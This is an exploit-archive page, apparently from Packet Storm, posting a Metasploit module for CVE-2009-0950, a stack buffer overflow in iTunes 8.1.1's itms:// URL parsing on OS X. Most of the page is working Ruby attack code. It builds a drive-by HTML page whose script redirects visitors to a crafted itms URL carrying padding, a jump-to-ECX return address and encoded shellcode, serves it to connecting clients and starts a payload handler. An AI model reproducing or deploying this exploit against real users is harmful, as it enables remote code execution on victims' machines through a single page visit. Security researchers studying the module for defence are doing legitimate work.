what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple OS X iTunes 8.1.1 ITMS Overflow

Apple OS X iTunes 8.1.1 ITMS Overflow
Posted Dec 31, 2009
Authored by Will Drewry | Site metasploit.com

This Metasploit modules exploits a stack-based buffer overflow in iTunes itms:// URL parsing. It is accessible from the browser and in Safari, itms urls will be opened in iTunes automatically. Because iTunes is multithreaded, only vfork-based payloads should be used.

tags | exploit, overflow
advisories | CVE-2009-0950
SHA-256 | 3cb12bf18862a6b8d19ec162dc207e19cb5f515c8eb78c636ca9c004868e964d

Apple OS X iTunes 8.1.1 ITMS Overflow

Change Mirror Download
##
# $Id: itms_overflow.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
'Description' => %q{
This modules exploits a stack-based buffer overflow in iTunes
itms:// URL parsing. It is accessible from the browser and
in Safari, itms urls will be opened in iTunes automatically.
Because iTunes is multithreaded, only vfork-based payloads should
be used.
},
'Author' => [ 'Will Drewry <redpig@dataspill.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'CVE', '2009-0950' ],
['OSVDB', '54833'],
['URL', 'http://support.apple.com/kb/HT3592'],
['URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html'],
],
'Payload' =>
{
'Space' => 1024, # rough estimate of what browsers will pass.
'DisableNops' => true, # don't pad out the space.
'BadChars' => '',
# The encoder must be URL-safe otherwise it will be automatically
# URL encoded.
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX', # See the comments below
'BufferOffset' => 3, # See the comments below
},
},
'Targets' =>
[
[
'OS X',
{
'Platform' => [ 'osx' ],
'Arch' => ARCH_X86,
'Addr' => 'ATe'
},
]
],
'DisclosureDate' => 'June 1, 2009',
'DefaultTarget' => 0))
end

# Generate distribution script, which calls our payload using JavaScript.
def generate_itms_page(p)
# Set the base itms url.
# itms:// or itmss:// can be used. The trailing colon is used
# to start the attack. All data after the colon is copied to the
# stack buffer.
itms_base_url = "itms://:"
itms_base_url << rand_text_alpha(268) # Fill up the real buffer
itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp
itms_base_url << target['Addr'] # hullo there, jmp *%ecx!
# The first '/' in the buffer will terminate the copy to the stack buffer.
# In addition, $ecx will be left pointing to the last 6 bytes of the heap
# buffer containing the full URL. However, if a colon and a ? occur after
# the value in ecx will point to that point in the heap buffer. In our
# case, it will point to the beginning. The ! is there to make the
# alphanumeric shellcode execute easily. (This is why we need an offset
# of 3 in the payload).
itms_base_url << "/:!?" # Truncate the stack overflow and prep for payload
itms_base_url << p # Wooooooo! Payload time.
# We drop on a few extra bytes as the last few bytes can sometimes be
# corrupted.
itms_base_url << rand_text_alpha(4)

# Use the pattern creator to simplify exploit creation :)
# itms_base_url << Rex::Text.pattern_create(1024,
# Rex::Text::DefaultPatternSets)

# Return back an example URL. Using an iframe doesn't work with all
# browsers, but that's easy enough to fix if you need to.
return String(<<-EOS)
<html><head><title>iTunes loading . . .</title></head>
<body>
<script>document.location.assign("#{itms_base_url}");</script>
<p>iTunes should open automatically, but if it doesn't, click to
<a href="#{itms_base_url}">continue</a>.</p>
</body>
</html>
EOS
end

def on_request_uri(cli, request)
print_status("Generating payload...")
return unless (p = regenerate_payload(cli))
#print_status("=> #{payload.encoded}")
print_status("=> #{payload.encoded.length} bytes")

print_status("Generating HTML container...")
page = generate_itms_page(payload.encoded)
#print_status("=> #{page}")
print_status("Sending itms page to #{cli.peerhost}:#{cli.peerport}")

header = { 'Content-Type' => 'text/html' }
send_response_html(cli, page, header)
handler(cli)
end

end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    31 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close